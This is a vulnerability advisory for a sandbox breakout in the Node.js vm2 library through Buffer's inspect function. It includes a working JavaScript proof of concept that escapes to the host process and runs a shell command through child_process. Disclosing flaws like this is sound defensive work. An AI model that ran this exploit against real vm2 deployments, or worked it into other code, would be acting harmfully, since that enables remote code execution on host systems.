CVE-2026-24781: Node.js vm2 Sandbox Breakout through Inspect Function

### Summary

VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

### PoC

```js
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

CWE-94 Code Injection

CWE-693 Protection Mechanism Failure